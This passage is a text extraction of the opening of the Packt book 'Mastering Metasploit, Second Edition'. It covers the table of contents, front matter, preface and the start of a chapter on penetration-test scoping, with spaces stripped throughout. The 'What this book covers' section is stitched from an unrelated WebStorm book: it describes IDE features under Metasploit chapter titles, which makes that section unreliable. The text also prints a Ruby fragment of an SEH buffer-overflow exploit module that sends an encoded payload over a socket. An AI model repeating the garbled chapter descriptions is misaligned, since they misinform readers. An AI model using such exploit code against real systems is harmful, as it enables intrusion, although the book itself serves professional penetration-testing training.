mastering metasploit - second edition - chadshare

534

Upload: khangminh22

Post on 15-Mar-2023

1 views

Category:

Documents


0 download

TRANSCRIPT

MasteringMetasploit

TableofContents

MasteringMetasploitSecondEdition

CreditsForewordAbouttheAuthorAbouttheReviewerwww.PacktPub.com

Whysubscribe?Preface

WhatthisbookcoversWhatyouneedforthisbookWhothisbookisforConventionsReaderfeedbackCustomersupport

ErrataPiracyQuestions

1.ApproachingaPenetrationTestUsingMetasploitOrganizingapenetrationtestPreinteractionsIntelligencegathering/reconnaissancephasePredictingthetestgrounds

ModelingthreatsVulnerabilityanalysisExploitationandpost-exploitationReportingMountingtheenvironment

SettingupKaliLinuxinvirtualenvironmentThefundamentalsofMetasploitConductingapenetrationtestwithMetasploit

RecallingthebasicsofMetasploitBenefitsofpenetrationtestingusingMetasploit

Opensource

SupportfortestinglargenetworksandeasynamingconventionsSmartpayloadgenerationandswitchingmechanismCleanerexitsTheGUIenvironment

PenetrationtestinganunknownnetworkAssumptionsGatheringintelligence

UsingdatabasesinMetasploitModelingthreatsVulnerabilityanalysisofVSFTPD2.3.4backdoor

TheattackprocedureTheprocedureofexploitingthevulnerabilityExploitationandpostexploitation

VulnerabilityanalysisofPHP-CGIquerystringparametervulnerabilityExploitationandpostexploitation

VulnerabilityanalysisofHFS2.3Exploitationandpostexploitation

MaintainingaccessClearingtracksRevisingtheapproachSummary

2.ReinventingMetasploitRuby–theheartofMetasploit

CreatingyourfirstRubyprogramInteractingwiththeRubyshellDefiningmethodsintheshell

VariablesanddatatypesinRubyWorkingwithstrings

ConcatenatingstringsThesubstringfunctionThesplitfunction

NumbersandconversionsinRubyConversionsinRuby

RangesinRubyArraysinRuby

MethodsinRubyDecision-makingoperators

LoopsinRubyRegularexpressionsWrappingupwithRubybasics

DevelopingcustommodulesBuildingamoduleinanutshell

ThearchitectureoftheMetasploitframeworkUnderstandingthefilestructureThelibrarieslayout

UnderstandingtheexistingmodulesTheformatofaMetasploitmodule

DisassemblingexistingHTTPserverscannermoduleLibrariesandthefunction

WritingoutacustomFTPscannermoduleLibrariesandthefunction

UsingmsftidyWritingoutacustomSSHauthenticationbruteforcer

RephrasingtheequationWritingadrivedisablerpostexploitationmoduleWritingacredentialharvesterpostexploitationmodule

BreakthroughmeterpreterscriptingEssentialsofmeterpreterscriptingPivotingthetargetnetworkSettinguppersistentaccessAPIcallsandmixinsFabricatingcustommeterpreterscripts

WorkingwithRailGunInteractiveRubyshellbasicsUnderstandingRailGunanditsscriptingManipulatingWindowsAPIcallsFabricatingsophisticatedRailGunscripts

Summary3.TheExploitFormulationProcess

TheabsolutebasicsofexploitationThebasicsThearchitecture

SystemorganizationbasicsRegisters

Exploitingstack-basedbufferoverflowswithMetasploitCrashingthevulnerableapplicationBuildingtheexploitbaseCalculatingtheoffset

Usingthepattern_createtoolUsingthepattern_offsettool

FindingtheJMPESPaddressUsingImmunityDebuggertofindexecutablemodulesUsingmsfbinscan

StuffingthespaceRelevanceofNOPs

DeterminingbadcharactersDeterminingspacelimitationsWritingtheMetasploitexploitmodule

ExploitingSEH-basedbufferoverflowswithMetasploitBuildingtheexploitbaseCalculatingtheoffset

Usingpattern_createtoolUsingpattern_offsettool

FindingthePOP/POP/RETaddressTheMonascriptUsingmsfbinscan

WritingtheMetasploitSEHexploitmoduleUsingNASMshellforwritingassemblyinstructions

BypassingDEPinMetasploitmodulesUsingmsfroptofindROPgadgetsUsingMonatocreateROPchainsWritingtheMetasploitexploitmoduleforDEPbypass

OtherprotectionmechanismsSummary

4.PortingExploitsImportingastack-basedbufferoverflowexploit

GatheringtheessentialsGeneratingaMetasploitmoduleExploitingthetargetapplicationwithMetasploitImplementingacheckmethodforexploitsinMetasploit

Importingweb-basedRCEintoMetasploit

GatheringtheessentialsGraspingtheimportantwebfunctionsTheessentialsoftheGET/POSTmethodImportinganHTTPexploitintoMetasploit

ImportingTCPserver/browser-basedexploitsintoMetasploitGatheringtheessentialsGeneratingtheMetasploitmodule

Summary5.TestingServiceswithMetasploit

ThefundamentalsofSCADAThefundamentalsofICSanditscomponentsThesignificanceofICS-SCADAAnalyzingsecurityinSCADAsystems

FundamentalsoftestingSCADASCADA-basedexploits

SecuringSCADAImplementingsecureSCADARestrictingnetworks

DatabaseexploitationSQLserverFingerprintingSQLserverwithNmapScanningwithMetasploitmodulesBruteforcingpasswordsLocating/capturingserverpasswordsBrowsingSQLserverPost-exploiting/executingsystemcommands

Reloadingthexp_cmdshellfunctionalityRunningSQL-basedqueries

TestingVOIPservicesVOIPfundamentals

AnintroductiontoPBXTypesofVOIPservicesSelf-hostednetworkHostedservicesSIPserviceproviders

FingerprintingVOIPservicesScanningVOIPservices

SpoofingaVOIPcallExploitingVOIP

AboutthevulnerabilityExploitingtheapplication

Summary6.VirtualTestGroundsandStaging

PerformingapenetrationtestwithintegratedMetasploitservicesInteractionwiththeemployeesandendusersGatheringintelligence

ExampleenvironmentundertestVulnerabilityscanningwithOpenVASusingMetasploitModelingthethreatareasGainingaccesstothetarget

VulnerabilityscanningwithNessusMaintainingaccessandcoveringtracksManagingapenetrationtestwithFaradayGeneratingmanualreports

TheformatofthereportTheexecutivesummaryMethodology/networkadminlevelreportAdditionalsections

Summary7.Client-sideExploitation

ExploitingbrowsersforfunandprofitThebrowserautopwnattack

ThetechnologybehindabrowserautopwnattackAttackingbrowserswithMetasploitbrowserautopwn

CompromisingtheclientsofawebsiteInjectingmaliciouswebscriptsHackingtheusersofawebsite

ConjunctionwithDNSspoofingTrickingvictimswithDNShijacking

MetasploitandArduino-thedeadlycombinationFileformat-basedexploitation

PDF-basedexploitsWord-basedexploits

CompromisingLinuxclientswithMetasploit

AttackingAndroidwithMetasploitSummary

8.MetasploitExtendedThebasicsofpostexploitationwithMetasploitBasicpostexploitationcommands

ThehelpmenuBackgroundcommandMachineIDandUUIDcommandReadingfromachannelGettingtheusernameandprocessinformationGettingsysteminformationNetworkingcommandsFileoperationcommandsDesktopcommandsScreenshotsandcameraenumeration

AdvancedpostexploitationwithMetasploitMigratingtosaferprocessesObtainingsystemprivilegesObtainingpasswordhashesusinghashdumpChangingaccess,modificationandcreationtimewithtimestomp

AdditionalpostexploitationmodulesGatheringwirelessSSIDswithMetasploitGatheringWi-FipasswordswithMetasploitGettingapplicationslistGatheringskypepasswordsGatheringUSBhistorySearchingfileswithMetasploitWipinglogsfromtargetwithclearevcommand

AdvancedextendedfeaturesofMetasploitPrivilegeescalationusingMetasploitFindingpasswordsincleartextusingmimikatzSniffingtrafficwithMetasploitHostfileinjectionwithMetasploitPhishingwindowloginpasswords

Summary9.SpeedingupPenetrationTesting

Usingpushmandpopmcommands

TheloadpathcommandPacingupdevelopmentusingreload,editandreload_allcommandsMakinguseofresourcescriptsUsingAutoRunScriptinMetasploit

UsingmultiscriptmoduleinAutoRunScriptoptionGlobalizingvariablesinMetasploitAutomatingSocial-EngineeringToolkitSummary

10.VisualizingwithArmitageThefundamentalsofArmitage

GettingstartedTouringtheuserinterfaceManagingtheworkspace

ScanningnetworksandhostmanagementModelingoutvulnerabilitiesFindingthematch

ExploitationwithArmitagePost-exploitationwithArmitageAttackingontheclientsidewithArmitageScriptingArmitage

ThefundamentalsofCortanaControllingMetasploitPost-exploitationwithCortanaBuildingacustommenuinCortanaWorkingwithinterfaces

SummaryFurtherreading

MasteringMetasploit

MasteringMetasploit

SecondEditionCopyright©2016PacktPublishing

Allrightsreserved.Nopartofthisbookmaybereproduced,storedinaretrievalsystem,ortransmittedinanyformorbyanymeans,withoutthepriorwrittenpermissionofthepublisher,exceptinthecaseofbriefquotationsembeddedincriticalarticlesorreviews.

Everyefforthasbeenmadeinthepreparationofthisbooktoensuretheaccuracyoftheinformationpresented.However,theinformationcontainedinthisbookissoldwithoutwarranty,eitherexpressorimplied.Neithertheauthor,norPacktPublishing,anditsdealersanddistributorswillbeheldliableforanydamagescausedorallegedtobecauseddirectlyorindirectlybythisbook.

PacktPublishinghasendeavoredtoprovidetrademarkinformationaboutallofthecompaniesandproductsmentionedinthisbookbytheappropriateuseofcapitals.However,PacktPublishingcannotguaranteetheaccuracyofthisinformation.

Firstpublished:May2014

Secondedition:September2016

Productionreference:1270916

PublishedbyPacktPublishingLtd.

LiveryPlace

35LiveryStreet

Birmingham

B32PB,UK.

ISBN978-1-78646-316-6

www.packtpub.com

Credits

Authors

NipunJaswal

CopyEditor

SafisEditing

Reviewers

AdrianPruteanu

ProjectCoordinator

KinjalBari

CommissioningEditor

KartikeyPandey

Proofreader

SafisEditing

AcquisitionEditor

PrachiBisht

Indexer

PratikShirodkar

ContentDevelopmentEditor

TrushaShriyan

Graphics

KirkD'Penha

TechnicalEditor

NirantCarvalho

ProductionCoordinator

ShantanuN.Zagade

ForewordWiththerisingageoftechnology,theneedforITsecurityhasnotonlybecomeanecessitybutapracticethateveryorganizationmustfollow.Penetrationtestingisapracticethattendstokeepbusinessesandorganizationssafefromtheexternalandinternalthreatssuchasinformationleakage,unauthorizedaccesstothevariousresources,criticalbusinessdataandmuchmore.

Companiesprovidingservicessuchaspenetrationtestingandvulnerabilityassessmentscanbethoughtofasagroupofpeoplepaidtobreakintoacompanysothatnooneelsecanbreakintoit.However,thewordpenetrationtestinghasacompletelydifferentmeaningwhenitcomestolawenforcementagenciesthroughouttheworld.

APenetrationtestcomprisesofvariousdifferentphasesstartingwithprofilingofthetargetthroughinformationgathering,scanningforopenentranceswhicharealsotermedasportscanning,gainingaccesstothesystemsbyexploitingvulnerableentrances,maintainingaccesstothetargetandcoveringtracks.

Zerodayexploitsandadvancedpersistentthreatshaverecentlydominatedthecybersecurityscenethroughouttheworldbycompromisingsmalltolargefirmsbyleakingcrucialbusinessdata.Therefore,thelifeofapenetrationtesterhasbecomequitechallengingintermsofdaytodayoperationsanditisveryimportantforapenetrationtestertokeephimupdatedwithlatesttoolsandtechniques.

Inthisbook,youwillseepenetrationtestingcoveredthroughacompletelypracticalapproach.Theauthorisawidelyknownsecurityprofessionalwithhisexperiencerangingfromthetopofthecorporatesecuritystructureallthewaytothegroundlevelresearchandexploitwriting.

Thereareanumberofbooksavailableonpenetrationtesting,therearemanycoveringspecificsecuritytoolsinpenetrationtesting.Thisbookisaperfectblendofbothwhilecoveringthemostwidelyusedpenetrationtestingframework,Metasploit,usingacompletelyhands-onapproach.

Metasploitisoneofthemostwidelyusedpenetrationtestingframeworkusedfromcorporatetolawenforcementagencies.Metasploitcomprisesofover1500+modulesthatdeliverfunctionalitiescoveringeveryphaseofapenetration

1500+modulesthatdeliverfunctionalitiescoveringeveryphaseofapenetrationtest,makingthelifeofapenetrationtestercomparativelyeasier.Notonlyitprovidesacomprehensiveandanefficientwayofconductingapenetrationtestbutbeinganopensourceframework,italsooffersanextensiveapproachindevelopingnewexploitsandautomatingvarioustasksthatreducetonsofmanualeffortsandsavesagreatdealoftime.

Withthesupportofalargecommunity,Metasploitisconstantlyupdatedwithnewtoolsandtechniquesandissofrequentlyupdatedthataparticulartechniquemightchangeovernight.Theauthorundertookamassivetaskinwritingabookonasubject,whichissofrequentlyupdated.Ibelieveyouwillfindthetechniquescoveredinthisbookvaluableandanexcellentreferenceinallyourfutureengagements.

Maj.Gen.J.PSingh,ShauryaChakra(Retd.)

M.Sc,MBA,MMS,M.Phill

Sr.Director,AmityUniversity

AbouttheAuthorNipunJaswalisanITsecuritybusinessexecutive&apassionateITsecurityResearcherwithmorethan7yearsofprofessionalexperienceandpossessesknowledgeinallaspectsofITsecuritytestingandimplementationwithexpertiseinmanagingcross-culturalteamsandplanningtheexecutionofsecurityneedsbeyondnationalboundaries.

HeisanM.techinComputerSciencesandathoughtleaderwhohascontributedinraisingthebarofunderstandingoncybersecurityandethicalhackingamongstudentsofmanycollegesanduniversitiesinIndia.Heisavoraciouspublicspeaker,deliversspeechonImprovingITSecurity,InsiderThreat,SocialEngineering,Wirelessforensics,andExploitwriting.HeistheauthorofnumerousITsecurityarticleswithpopularsecuritymagazineslikeEforensics,Hakin9,andSecurityKaizenetc.ManypopularcompanieslikeApple,Microsoft,AT&T,OffensiveSecurity,Rapid7,Blackberry,Nokia,Zynga.comandmanyothershavethankedhimforfindingvulnerabilitiesintheirsystem.HehasalsobeenacknowledgedwiththeAwardofexcellencefromNationalcyberdefenseandresearchcenter(NCDRC)forhistremendouscontributionstotheITsecurityindustry.

Inhiscurrentprofile,heleadsteamsuperspecialistsincybersecuritytoprotectvariousclientsfromCyberSecuritythreatsandnetworkintrusionbyprovidingnecessarysolutionsandservices.Pleasefeelfreetocontacthimviamailatmail@nipunjaswal.info.

Attheveryfirst,Iwouldliketothankeveryonewhoreadthefirsteditionandmadeitasuccess.Iwouldliketothankmymom,Mrs.SushmaJaswalandmygrandmother,Mrs.MalkietParmarforhelpingmeoutateverystageofmylife.IwouldalsoliketoextendgratitudetoMs.MiniMalhotraforbeingextremelysupportivethroughoutthewritingprocess.IwouldliketothankMr.AdrianPruteanuforreviewingmyworkandsuggestingallthechanges.IwouldliketothankeveryoneatPacktincludingMs.PrachiBisht,Ms.TrushaShriyanforbeinganexcellentteamandprovidingmewithopportunitytoworkonthiswonderfulproject.Lastbutnottheleast;Iwouldliketothankthealmightyforprovidingmewiththeimmensepowertoworkonthisproject.

AbouttheReviewerAdrianPruteanuisaseniorconsultantwhospecializesinpenetrationtestingandreverseengineering.Withover10yearsofexperienceinthesecurityindustry,AdrianhasprovidedservicestoallmajorfinancialinstitutionsinCanada,aswellascountlessothercompaniesaroundtheworld.YoucanfindhimonTwitteras@waydrian,oronhisseldomupdatedbloghttps://bittherapy.net.

www.PacktPub.comForsupportfilesanddownloadsrelatedtoyourbook,pleasevisitwww.PacktPub.com.

DidyouknowthatPacktofferseBookversionsofeverybookpublished,withPDFandePubfilesavailable?YoucanupgradetotheeBookversionatwww.PacktPub.comandasaprintbookcustomer,youareentitledtoadiscountontheeBookcopy.Getintouchwithusatservice@packtpub.comformoredetails.

Atwww.PacktPub.com,youcanalsoreadacollectionoffreetechnicalarticles,signupforarangeoffreenewslettersandreceiveexclusivediscountsandoffersonPacktbooksandeBooks.

https://www.packtpub.com/mapt

Getthemostin-demandsoftwareskillswithMapt.MaptgivesyoufullaccesstoallPacktbooksandvideocourses,aswellasindustry-leadingtoolstohelpyouplanyourpersonaldevelopmentandadvanceyourcareer.

Whysubscribe?FullysearchableacrosseverybookpublishedbyPacktCopyandpaste,print,andbookmarkcontentOndemandandaccessibleviaawebbrowser

"IntheMemoryofallourbravesoldierswholosttheirlivesservingforthecountry."

PrefacePenetrationtestingistheonenecessityrequiredeverywhereinbusinesstoday.Withtheriseofcyber-andcomputer-basedcrimeinthepastfewyears,penetrationtestinghasbecomeoneofthecoreaspectsofnetworksecurityandhelpsinkeepingabusinesssecurefrominternalaswellasexternalthreats.Thereasonthatmakespenetrationtestinganecessityisthatithelpsinuncoveringthepotentialflawsinanetwork,asystem,oranapplication.Moreover,ithelpsinidentifyingweaknessesandthreatsfromanattacker'sperspective.Variouspotentialflawsinasystemareexploitedtofindouttheimpactitcancausetoanorganizationandtheriskfactorstotheassetsaswell.However,thesuccessrateofapenetrationtestdependslargelyontheknowledgeofthetargetunderthetest.Therefore,wegenerallyapproachapenetrationtestusingtwodifferentmethods:blackboxtestingandwhiteboxtesting.Blackboxtestingreferstothetestingwherethereisnopriorknowledgeofthetargetundertest.Therefore,apenetrationtesterkicksofftestingbycollectinginformationaboutthetargetsystematically.Whereasinthecaseofawhiteboxpenetrationtest,apenetrationtesterhasenoughknowledgeaboutthetargetundertestandhestartsoffbyidentifyingknownandunknownweaknessesofthetarget.Generally,apenetrationtestisdividedintosevendifferentphases,whicharementionedasfollows:

Pre-engagementinteractions:Thisphasedefinesallthepre-engagementactivitiesandscopedefinitions,basically,everythingyouneedtodiscusswiththeclientbeforethetestingstarts.Intelligencegathering:Thisphaseisallaboutcollectinginformationaboutthetarget,whichisunderthetest,byconnectingtothetargetdirectlyandpassively,withoutconnectingtothetargetatall.Threatmodeling:Thisphaseinvolvesmatchingtheinformationdetectedtotheassetsinordertofindtheareaswiththehighestthreatlevel.Vulnerabilityanalysis:Thisinvolvesfindingandidentifyingknownandunknownvulnerabilitiesandvalidatingthem.Exploitation:Thisphaseworksontakingadvantageofthevulnerabilitiesfoundinthepreviousphase.Thistypicallymeansthatwearetryingtogainaccesstothetarget.Postexploitation:Theactualtasktoperformatthetargetthatinvolvesdownloadingafile,shuttingasystemdown,creatinganewuseraccounton

thetarget,andsoon,arepartsofthisphase.Generally,thisphasedescribeswhatyouneedtodoafterexploitation.Reporting:Thisphaseincludessumminguptheresultsofthetestunderafileandthepossiblesuggestionsandrecommendationstofixthecurrentweaknessesinthetarget

Thesevenphasesjustmentionedmaylookeasierwhenthereisasingletargetundertest.However,thesituationcompletelychangeswhenalargenetworkthatcontainshundredsofsystemsaretobetested.Therefore,inasituationlikethis,manualworkistobereplacedwithanautomatedapproach.Considerascenariowherethenumberofsystemsunderthetestisexactly100andarerunningthesameoperatingsystemandservices.Testingeachandeverysystemmanuallywillconsumemuchtimeandenergy.Situationslikethesedemandtheuseofapenetration-testingframework.Theuseofapenetrationtestingframeworkwillnotonlysavetime,butwillalsooffermuchmoreflexibilityintermsofchangingtheattackvectorsandcoveringamuchwiderrangeoftargetsunderatest.Apenetrationtestingframeworkwilleliminateadditionaltimeconsumptionandwillalsohelpinautomatingmostoftheattackvectors;scanningprocesses;identifyingvulnerabilities,andmostimportantly,exploitingthevulnerabilities,thussavingtimeandpacingapenetrationtest.ThisiswhereMetasploitkicksin.

Metasploitisconsideredasoneofthebestandmostusedwidelyusedpenetrationtestingframework.WithalotofrepintheITsecuritycommunity,Metasploitnotonlycaterstotheneedsofbeingagreatpenetrationtestframeworkbutalsodeliverssuchinnovativefeaturesthatmakelifeofapenetrationtestereasy.

MasteringMetasploitaimsatprovidingreaderswiththeinsightstothemostpopularpenetration-testingframework,thatis,Metasploit.ThisbookspecificallyfocusesonmasteringMetasploitintermsofexploitation,writingcustomexploits,portingexploits,testingservices,andconductingsophisticatedclient-sidetesting.Moreover,thisbookhelpstoconvertyourcustomizedattackvectorsintoMetasploitmodules,coveringRuby,andattackscripting,suchasCORTANA.Thisbookwillnotonlycaterstoyourpenetration-testingknowledge,butwillalsohelpyoubuildprogrammingskillsaswell.

WhatthisbookcoversChapter1,ApproachingaPenetrationTestUsingMetasploit,tellsyouconciselyaboutWebStorm10anditsnewfeatures.Ithelpsyouinstallit,guidesyouthroughitsworkspace,discussessettingupanewproject,familiarizesyouwiththeinterfaceandusefulfeatures,anddescribesthewaystocustomizethemtosuityourneeds.

Chapter2,ReinventingMetasploit,exposesthemostdistinctivefeaturesofWebStorm,whichareatthecoreofimprovingyourefficiencyinbuildingwebapplications.

Chapter3,TheExploitFormulationProcess,describestheprocessofsettingupanewprojectwiththehelpoftemplatesbyimportinganexistingproject,servingawebapplication,andusingFileWatchers.

Chapter4,PortingExploits,describesusingpackagemanagersandbuildingsystemsforyourapplicationbymeansofWebStorm'sbuilt-infeatures.

Chapter5,TestingServiceswithMetasploit,focusesonthestate-of-the-arttechnologiesofthewebindustryanddescribestheprocessofbuildingatypicalapplicationinthemusingthepowerofWebStormfeatures.

Chapter6,VirtualTestGroundsandStaging,showsyouhowtouseJavaScript,HTML,andCSStodevelopamobileapplicationandhowtosetuptheenvironmenttotestrunthismobileapplication.

Chapter7,Client-sideExploitation,showshowtoperformthedebugging,tracing,profiling,andcodestylecheckingactivitiesdirectlyinWebStorm.

Chapter8,MetasploitExtended,presentsacoupleofprovenwaystoeasilyperformapplicationtestinginWebStormusingsomeofthemostpopulartestinglibraries.

Chapter9,SpeedingupPenetrationTesting,isaboutasecondportionofpowerfulfeaturesprovidedwithinWebStorm.Inthischapter,wefocusonsomeofWebStorm'spowerfeaturesthathelpusboostproductivityanddeveloperexperience.

Chapter10,VisualizingwithArmitage,isaboutasecondportionofpowerfulfeaturesprovidedwithinWebStorm.Inthischapter,wefocusonsomeofWebStorm'spowerfeaturesthathelpusboostproductivityanddeveloperexperience.

WhatyouneedforthisbookTofollowandrecreatetheexamplesinthisbook,youwillneedsixtosevensystems.Onecanbeyourpenetrationtestingsystem,whereasotherscanbethesystemsundertest.Alternatively,youcanworkonasinglesystemandsetupavirtualenvironment.

Apartfromsystemsorvirtualization,youwillneedthelatestISOofKaliLinux,whichalreadypacksMetasploitbydefaultandcontainsalltheothertoolsthatarerequiredforrecreatingtheexamplesofthisbook.

YouwillalsoneedtoinstallUbuntu,WindowsXP,Windows7,andWindowsServer2008,WindowsServer2012,Metasploitable2andWindows10eitheronvirtualmachinesorlivesystemsasalltheseoperatingsystemswillserveasthetestbedforMetasploit.

Additionally,linkstoallotherrequiredtoolsandvulnerablesoftwareareprovidedinthechapters.

WhothisbookisforThisbookisahands-onguidetopenetrationtestingusingMetasploitandcoversitscompletedevelopment.ItshowsanumberoftechniquesandmethodologiesthatwillhelpyoumastertheMetasploitframeworkandexploreapproachestocarryingoutadvancedpenetrationtestinginhighlysecuredenvironments.

ConventionsInthisbook,youwillfindanumberoftextstylesthatdistinguishbetweendifferentkindsofinformation.Herearesomeexamplesofthesestylesandanexplanationoftheirmeaning.

Codewordsintext,databasetablenames,foldernames,filenames,fileextensions,pathnames,dummyURLs,userinput,andTwitterhandlesareshownasfollows:"Wecanseethatrunningpattern_create.rbscriptfrom/tools/exploit/directory,forapatternof1000byteswillgeneratetheaboveoutput"

Ablockofcodeissetasfollows:

defexploit

connect

weapon="HEAD"

weapon<<make_nops(target['Offset'])

weapon<<generate_seh_record(target.ret)

weapon<<make_nops(19)

weapon<<payload.encoded

weapon<<"HTTP/1.0\r\n\r\n"

sock.put(weapon)

handler

disconnect

end

end

Whenwewishtodrawyourattentiontoaparticularpartofacodeblock,therelevantlinesoritemsaresetinbold:

weapon<<make_nops(target['Offset'])

weapon<<generate_seh_record(target.ret)

weapon<<make_nops(19)

weapon<<payload.encoded

Anycommand-lineinputoroutputiswrittenasfollows:

irb(main):003:1>res=a^b

irb(main):004:1>returnres

Newtermsandimportantwordsareshowninbold.Wordsthatyouseeonthe

screen,forexample,inmenusordialogboxes,appearinthetextlikethis:"ClickingtheNextbuttonmovesyoutothenextscreen."

Note

Warningsorimportantnotesappearinaboxlikethis.

Tip

Tipsandtricksappearlikethis.

ReaderfeedbackFeedbackfromourreadersisalwayswelcome.Letusknowwhatyouthinkaboutthisbook-whatyoulikedordisliked.Readerfeedbackisimportantforusasithelpsusdeveloptitlesthatyouwillreallygetthemostoutof.

Tosendusgeneralfeedback,[email protected],andmentionthebook'stitleinthesubjectofyourmessage.

Ifthereisatopicthatyouhaveexpertiseinandyouareinterestedineitherwritingorcontributingtoabook,seeourauthorguideatwww.packtpub.com/authors.

CustomersupportNowthatyouaretheproudownerofaPacktbook,wehaveanumberofthingstohelpyoutogetthemostfromyourpurchase.

Errata

Althoughwehavetakeneverycaretoensuretheaccuracyofourcontent,mistakesdohappen.Ifyoufindamistakeinoneofourbooks-maybeamistakeinthetextorthecode-wewouldbegratefulifyoucouldreportthistous.Bydoingso,youcansaveotherreadersfromfrustrationandhelpusimprovesubsequentversionsofthisbook.Ifyoufindanyerrata,pleasereportthembyvisitinghttp://www.packtpub.com/submit-errata,selectingyourbook,clickingontheErrataSubmissionFormlink,andenteringthedetailsofyourerrata.Onceyourerrataareverified,yoursubmissionwillbeacceptedandtheerratawillbeuploadedtoourwebsiteoraddedtoanylistofexistingerrataundertheErratasectionofthattitle.

Toviewthepreviouslysubmittederrata,gotohttps://www.packtpub.com/books/content/supportandenterthenameofthebookinthesearchfield.TherequiredinformationwillappearundertheErratasection.

Piracy

PiracyofcopyrightedmaterialontheInternetisanongoingproblemacrossallmedia.AtPackt,wetaketheprotectionofourcopyrightandlicensesveryseriously.IfyoucomeacrossanyillegalcopiesofourworksinanyformontheInternet,pleaseprovideuswiththelocationaddressorwebsitenameimmediatelysothatwecanpursuearemedy.

Pleasecontactusatcopyright@packtpub.comwithalinktothesuspectedpiratedmaterial.

Weappreciateyourhelpinprotectingourauthorsandourabilitytobringyouvaluablecontent.

Questions

Ifyouhaveaproblemwithanyaspectofthisbook,[email protected],andwewilldoourbesttoaddresstheproblem.

Chapter1.ApproachingaPenetrationTestUsingMetasploit"InGodItrust,allothersIpen-test"-BinojKoshy,cybersecurityexpert

Penetrationtestingisanintentionalattackonacomputer-basedsystemwiththeintentionoffindingvulnerabilities,figuringoutsecurityweaknesses,certifyingthatasystemissecure,andgainingaccesstothesystembyexploitingthesevulnerabilities.Apenetrationtestwilladviseanorganizationifitisvulnerabletoanattack,whethertheimplementedsecurityisenoughtoopposeanyattack,whichsecuritycontrolscanbebypassed,andsoon.Hence,apenetrationtestfocusesonimprovingthesecurityofanorganization.

Achievingsuccessinapenetrationtestlargelydependsonusingtherightsetoftoolsandtechniques.Apenetrationtestermustchoosetherightsetoftoolsandmethodologiesinordertocompleteatest.Whiletalkingaboutthebesttoolsforpenetrationtesting,thefirstonethatcomestomindisMetasploit.Itisconsideredoneofthemosteffectiveauditingtoolstocarryoutpenetrationtestingtoday.Metasploitoffersawidevarietyofexploits,anextensiveexploitdevelopmentenvironment,informationgatheringandwebtestingcapabilities,andmuchmore.

ThisbookhasbeenwrittensothatitwillnotonlycoverthefrontendperspectivesofMetasploit,butitwillalsofocusonthedevelopmentandcustomizationoftheframeworkaswell.ThisbookassumesthatthereaderhasbasicknowledgeoftheMetasploitframework.However,someofthesectionsofthisbookwillhelpyourecallthebasicsaswell.

WhilecoveringMetasploitfromtheverybasicstotheelitelevel,wewillsticktoastep-by-stepapproach,asshowninthefollowingdiagram:

ThischapterwillhelpyourecallthebasicsofpenetrationtestingandMetasploit,whichwillhelpyouwarmuptothepaceofthisbook.

Inthischapter,youwilllearnaboutthefollowingtopics:

ThephasesofapenetrationtestThebasicsoftheMetasploitframeworkTheworkingsofexploitsTestingatargetnetworkwithMetasploitThebenefitsofusingdatabases

Animportantpointtotakeanoteofhereisthatwemightnotbecomeanexpertpenetrationtesterinasingleday.Ittakespractice,familiarizationwiththeworkenvironment,theabilitytoperformincriticalsituations,andmostimportantly,anunderstandingofhowwehavetocyclethroughthevariousstagesofapenetrationtest.

Whenwethinkaboutconductingapenetrationtestonanorganization,weneedtomakesurethateverythingissetperfectlyandisaccordingtoapenetrationteststandard.Therefore,ifyoufeelyouarenewtopenetrationtestingstandardsoruncomfortablewiththetermPenetrationtestingExecutionStandard(PTES),pleaserefertohttp://www.pentest-

standard.org/index.php/PTES_Technical_Guidelinestobecomemorefamiliarwithpenetrationtestingandvulnerabilityassessments.AccordingtoPTES,thefollowingdiagramexplainsthevariousphasesofapenetrationtest:

Refertothehttp://www.pentest-standard.orgwebsitetosetupthehardwareandsystematicphasestobefollowedinaworkenvironment;thesesetupsarerequiredtoperformaprofessionalpenetrationtest.

OrganizingapenetrationtestBeforewestartfiringsophisticatedandcomplexattackvectorswithMetasploit,wemustgetourselvescomfortablewiththeworkenvironment.Gatheringknowledgeabouttheworkenvironmentisacriticalfactorthatcomesintoplaybeforeconductingapenetrationtest.LetusunderstandthevariousphasesofapenetrationtestbeforejumpingintoMetasploitexercisesandseehowtoorganizeapenetrationtestonaprofessionalscale.

PreinteractionsTheveryfirstphaseofapenetrationtest,preinteractions,involvesadiscussionofthecriticalfactorsregardingtheconductofapenetrationtestonaclient'sorganization,company,institute,ornetwork;thisisdonewiththeclient.Thisservesastheconnectinglinebetweenthepenetrationtesterandtheclient.Preinteractionshelpaclientgetenoughknowledgeonwhatisabouttobedoneoverhisorhernetwork/domainorserver.Therefore,thetesterwillservehereasaneducatortotheclient.Thepenetrationtesteralsodiscussesthescopeofthetest,allthedomainsthatwillbetested,andanyspecialrequirementsthatwillbeneededwhileconductingthetestontheclient'sbehalf.Thisincludesspecialprivileges,accesstocriticalsystems,andsoon.Theexpectedpositivesofthetestshouldalsobepartofthediscussionwiththeclientinthisphase.Asaprocess,preinteractionsdiscusssomeofthefollowingkeypoints:

Scope:Thissectiondiscussesthescopeoftheprojectandestimatesthesizeoftheproject.Scopealsodefineswhattoincludefortestingandwhattoexcludefromthetest.Thetesteralsodiscussesrangesanddomainsunderthescopeandthetypeoftest(blackboxorwhitebox)tobeperformed.Forwhiteboxtesting,whatallaccessoptionsarerequiredbythetester?Questionnairesforadministrators,thetimedurationforthetest,whethertoincludestresstestingornot,andpaymentforsettingupthetermsandconditionsareincludedinthescope.Ageneralscopedocumentprovidesanswerstothefollowingquestions:Whatarethetargetorganization'sbiggestsecurityconcerns?Whatspecifichosts,networkaddressranges,orapplicationsshouldbetested?Whatspecifichosts,networkaddressranges,orapplicationsshouldexplicitlyNOTbetested?Arethereanythirdpartiesthatownsystemsornetworksthatareinthescope,andwhichsystemsdotheyown(writtenpermissionmusthavebeenobtainedinadvancebythetargetorganization)?Willthetestbeperformedagainstaliveproductionenvironmentoratestenvironment?Willthepenetrationtestincludethefollowingtestingtechniques:pingsweepofnetworkranges,portscanoftargethosts,vulnerabilityscanoftargets,penetrationoftargets,application-levelmanipulation,client-side

Java/ActiveXreverseengineering,physicalpenetrationattempts,socialengineering?Willthepenetrationtestincludeinternalnetworktesting?Ifso,howwillaccessbeobtained?Areclient/end-usersystemsincludedinthescope?Ifso,howmanyclientswillbeleveraged?Issocialengineeringallowed?Ifso,howmayitbeused?AreDenialofServiceattacksallowed?Aredangerouschecks/exploitsallowed?Goals:Thissectiondiscussesvariousprimaryandsecondarygoalsthatapenetrationtestissettoachieve.Thecommonquestionsrelatedtothegoalsareasfollows:

Whatisthebusinessrequirementforthispenetrationtest?ThisisrequiredbyaregulatoryauditorstandardProactiveinternaldecisiontodetermineallweaknesses

